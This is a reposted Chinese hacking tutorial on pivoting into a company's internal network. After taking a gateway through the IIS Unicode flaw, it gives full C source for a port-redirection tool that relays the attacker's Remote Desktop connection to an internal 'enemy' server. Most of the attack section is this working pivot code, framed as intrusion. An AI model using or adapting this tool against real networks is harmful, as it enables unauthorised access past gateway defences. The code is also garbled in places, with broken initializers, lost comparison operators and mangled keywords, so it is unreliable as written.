从源程序看原理:突破防火墙入侵内网

花生买了很多年

花生买了很多年

2016-02-19 20:51

下面图老师小编跟大家分享从源程序看原理:突破防火墙入侵内网,一起来学习下过程究竟如何进行吧!喜欢就赶紧收藏起来哦~
现在很多企业或者公司基本上网方式基本上都是申请一条连接到Internet的线路,宽带、DDN、ADSL、ISDN等等,然后用一台服务器做网关,服务器两块网卡,一块是连接到Internet,另一块是连接到内网的HUB或者交换机,然后内网的其他机器就可以通过网关连接到Internet。也许有些人会这样想,我在内网之中,我们之间没有直接的连接,你没有办法攻击我。事实并非如此,在内网的机器同样可能遭受到来自Internet的攻击,当然前提是攻击者已经取得网关服务器的某些权限,呵呵,这是不是废话?其实,Internet上很多做网关的服务器并未经过严格的安全配置,要获取权限也不是想象中的那么难。
  
  Ok!废话就不说了,切入正题。我们的目标是用我们的TermClient[M$终端服务客户端]连接到敌人内网的TermServer机器。M$的终端服务是一个很好的远程治理工具,不是吗?呵呵。没有做非凡说明的话,文中提到的服务器OS都为windows 2000。服务器为Linux或其他的话,原理也差不多,把程序稍微修改就行了。
  
  第一部分:利用TCP socket数据转发进入没有防火墙保护的内网
  
  假设敌人网络拓扑如下图所示,没有安装防火墙或在网关服务器上做TCP/IP限制。
  
  我们的目标是连接上敌人内网的Terminal
  
  Server[192.168.1.3],因为没有办法直接和他建立连接,那么只有先从它的网关服务器上下手了。假如敌人网关服务器是M$的windows 2k,IIS有Unicode漏洞[现在要找些有漏洞的机器太轻易了,但我只是scripts kid,只会利用现成的漏洞做些简单的攻击:(555),那么我们就得到一个网关的shell了,我们可以在那上面运行我们的程序,虽然权限很低,但也可以做很多事情了。Ok!让我们来写一个做TCP socket数据转发的小程序,让敌人的网关服务器忠实的为我[202.1.1.1]和敌人内网的TermServer[192.168.1.3]之间转发数据。题外话:实际入侵过程是先取得网关服务器的权限,然后用他做跳板,进一步摸清它的内部网络拓扑结构,再做进一步的入侵,现在敌人的网络拓扑是我们给他设计的,哈哈。
  

  攻击流程如下:
  
  1在网关服务器202.2.2.2运行我们的程序AgentGateWay,他监听TCP 3389端口[改成别的,那我们就要相应的修改TermClient了]等待我们去连接。
  
  2我们202.1.1.1用TermClient连接到202.2.2.2:3389。
  
  3202.2.2.2.接受202.1.1.1的连接,然后再建立一个TCP socket连接到自己内网的TermServer[192.168.1.3]
  
  4这样我们和敌人内网的TermServer之间的数据通道就建好了,接下来网关就忠实的为我们转发数据啦。当我们连接到202.2.2.2:3389的时候,其实出来的界面是敌人内网的192.168.1.3,感觉怎么样?:)
  
  程序代码如下:
  /*
  Module Name:AgentGateWay.c
  CopyRight(c) eyas
  说明:端口重定向工具,在网关上运行,把端口重定向到内网的IP、PORT,
  就可以进入内网了
  sock[0]==sClient sock[1]==sTarget
  */
  #include
  #include
  #include "TCPDataRedird.c"
  #define TargetIP TEXT("192.168.1.3")
  #define TargetPort (int)3389
  #define ListenPort (int)3389//监听端口
  #pragma comment(lib,"ws2_32.lib")
  int main()
  {
  WSADATA wsd;
  SOCKET sListen=INVALID_SOCKET,//本机监听的socket
  sock[2];
  strUCt sockaddr_in Local,Client,Target;
  int iAddrSize;
  HANDLE hThreadC2T=NULL,//C2T=ClientToTarget
  hThreadT2C=NULL;//T2C=TargetToClient
  DWord dwThreadID;
  __try
  {
  if(WSAStartup(MAKEWORD(2,2),&wsd)!=0)
  {
  printf("WSAStartup() failed:%d",GetLastError());
  __leave;
  }
  sListen=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
  if(sListen==INVALID_SOCKET)
  {
  printf("socket() failed:%d",GetLastError());
  __leave;
  }
  Local.sin_addr.s_addr=htonl(INADDR_ANY);
  
   Local.sin_family=AF_INET;
  Local.sin_port=htons(ListenPort);
  
  Target.sin_family=AF_INET;
  Target.sin_addr.s_addr=inet_addr(TargetIP);
  Target.sin_port=htons(TargetPort);
  
  if(bind(sListen,(struct sockaddr
  *)&Local,sizeof(Local))==SOCKET_ERROR)
  {
  printf("bind() failed:%d",GetLastError());
  __leave;
  }
  if(listen(sListen,1)==SOCKET_ERROR)
  {
  printf("listen() failed:%d",GetLastError());
  __leave;
  }
  //scoket循环
  while(1)
  {
  printf("*************Waiting Client Connect
  to**************");
  iAddrSize=sizeof(Client);
  //get socket sClient
  sock[0]=accept(sListen,(struct sockaddr *)&Client,&iAddrSize);
  if(sock[0]==INVALID_SOCKET)
  {
  printf("accept() failed:%d",GetLastError());
  break;
  }
  printf("Accept client==%s:%d",inet_ntoa(Client.sin_addr),
  ntohs(Client.sin_port));
  //create socket sTarget
  sock[1]=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
  if(sock[1]==INVALID_SOCKET)
  {
  printf("socket() failed:%d",GetLastError());
  __leave;
  }
  //connect to target port
  if(connect(sock[1],(struct sockaddr
  *)&Target,sizeof(Target))==SOCKET_ERROR)
  {
  printf("connect() failed:%d",GetLastError());
  __leave;
  }
  printf("connect to target 3389 success!");
  //创建两个线程进行数据转发
  hThreadC2T=CreateThread(NULL,0,TCPDataC2T,(LPVOID)sock,0,&dwThreadID);
  hThreadT2C=CreateThread(NULL,0,TCPDataT2C,(LPVOID)sock,0,&dwThreadID);
  //等待两个线程结束
  WaitForSingleObject(hThreadC2T,INFINITE);
  WaitForSingleObject(hThreadT2C,INFINITE);
  CloseHandle(hThreadC2T);
  CloseHandle(hThreadT2C);
  closesocket(sock[1]);
  closesocket(sock[0]);
  printf("*****************Connection
  Close*******************");
  }//end of sock外循环
  }//end of try
  __finally
  {
  if(sListen!=INVALID_SOCKET) closesocket(sListen);
  if(sock[0]!=INVALID_SOCKET) closesocket(sock[0]);
  if(sock[1]!=INVALID_SOCKET) closesocket(sock[1]);
  if(hThreadC2T!=NULL) CloseHandle(hThreadC2T);
  if(hThreadT2C!=NULL) CloseHandle(hThreadT2C);
  WSACleanup();
  }
  return 0;
  }
  /******
  Module:TCPDataRedird.c
  CopyRight(c) eyas
  HomePage:www.patching.net
  Thanks to shotgun
  说明:TCP socket数据转发,sock[0]==sClient sock[1]==sTarget
  ********/
  #define BuffSize 20*1024 //缓冲区大小20k 
   //此函数负责从Client读取数据,然后转发给Target
  DWORD WINAPI TCPDataC2T(SOCKET* sock)
  {
  int iRet,
  ret=-1,//select 返回值
  iLeft,
  idx,
  iSTTBCS=0;//STTBCS=SendToTargetBuffCurrentSize
  char szSendToTargetBuff[BuffSize]=,
  szRecvFromClientBuff[BuffSize]=;
  fd_set fdread,fdwrite;
  printf("*****************Connection
  Active*******************");
  while(1)
  {
  FD_ZERO(&fdread);
  FD_ZERO(&fdwrite);
  FD_SET(sock[0],&fdread);
  FD_SET(sock[1],&fdwrite);
  if((ret=select(0,&fdread,&fdwrite,NULL,NULL))==SOCKET_ERROR)
  
   {
  printf("select() failed:%d",GetLastError());
  break;
  }
  //printf("select() return value ret=%d",ret);
  if(ret0)
  {
  //sClinet可读,client有数据要发送过来
  if(FD_ISSET(sock[0],&fdread))
  {
  //接收sock[0]发送来的数据
  iRet=recv(sock[0],szRecvFromClientBuff,BuffSize,0);
  if(iRet==SOCKET_ERROR)
  {
  printf("recv() from sock[0] failed:%d",GetLastError());
  break;
  }
  else if(iRet==0)
  break;
  printf("recv %d bytes from sClinet.",iRet);
  //把从client接收到的数据存添加到发往target的缓冲区
  memcpy(szSendToTargetBuff+iSTTBCS,szRecvFromClientBuff,iRet);
  //刷新发往target的数据缓冲区当前buff大小
  iSTTBCS+=iRet;
  //清空接收client数据的缓冲区
  memset(szRecvFromClientBuff,0,BuffSize);
  }
  //sTarget可写,把从client接收到的数据发送到target
  if(FD_ISSET(sock[1],&fdwrite))
  {
  //转发数据到target的3389端口
  iLeft=iSTTBCS;
  idx=0;
  while(iLeft0)
  {
  iRet=send(sock[1],&szSendToTargetBuff[idx],iLeft,0);
  if(iRet==SOCKET_ERROR)
  {
  printf("send() to target failed:%d",GetLastError());
  break;
  }
  printf("send %d bytes to target",iRet);
  iLeft-=iRet;
  idx+=iRet;
  }
  //清空缓冲区
  memset(szSendToTargetBuff,0,BuffSize);
  //重置发往target的数据缓冲区当前buff大小
  iSTTBCS=0;
  }
  }//end of select ret
  Sleep(1);
  }//end of data send & recv循环
  return 0;
  }
  //此函数负责从target读取数据,然后发送给client
  DWORD WINAPI TCPDataT2C(SOCKET* sock)
  {
  int iRet,
  ret=-1,//select 返回值
  iLeft,
  idx,
  iSTCBCS=0;//STCBCS=SendToClientBuffCurrentSize
  char szRecvFromTargetBuff[BuffSize]=,
  szSendToClientBuff[BuffSize]=;
  fd_set fdread,fdwrite;
  
  while(1)
  {
  FD_ZERO(&fdread);
  FD_ZERO(&fdwrite);
  FD_SET(sock[0],&fdwrite);
  FD_SET(sock[1],&fdread);
  if((ret=select(0,&fdread,&fdwrite,NULL,NULL))==SOCKET_ERROR)
  {
  printf("select() failed:%d",GetLastError());
  break;
  }
  if(ret0)
  {
  //sTarget可读,从target接收数据
  if(FD_ISSET(sock[1],&fdread))
  {
  //接收target返回数据
  iRet=recv(sock[1],szRecvFromTargetBuff,BuffSize,0);
  if(iRet==SOCKET_ERROR)
  {
  printf("recv() from target failed:%d",GetLastError());
  break;
  }
  else if(iRet==0)
  break;
  printf("recv %d bytes from target",iRet);
  //把从target接收到的数据添加到发送到client的缓冲区
  memcpy(szSendToClientBuff+iSTCBCS,szRecvFromTargetBuff,iRet);
  //清空接收target返回数据缓冲区
  memset(szRecvFromTargetBuff,0,BuffSize);
  //刷新发送到client的数据缓冲区当前大小
  iSTCBCS+=iRet;
  }
  //client可写,发送target返回数据到client
  if(FD_ISSET(sock[0],&fdwrite))
  {
  //发送target返回数据到client
  iLeft=iSTCBCS;
  idx=0;
  while(iLeft0)
  {
  iRet=send(sock[0],&szSendToClientBuff[idx],iLeft,0);
  if(iRet==SOCKET_ERROR)
  {
  printf("send() to Client failed:%d",GetLastError());
  break;
  }
  printf("send %d bytes to Client",iRet);
  iLeft-=iRet;
  idx+=iRet;
  }
  //清空缓冲区
  memset(szSendToClientBuff,0,BuffSize);
  iSTCBCS=0;
  
   }
  }//end of select ret
  Sleep(1);
  }//end of while
  return 0;
  }
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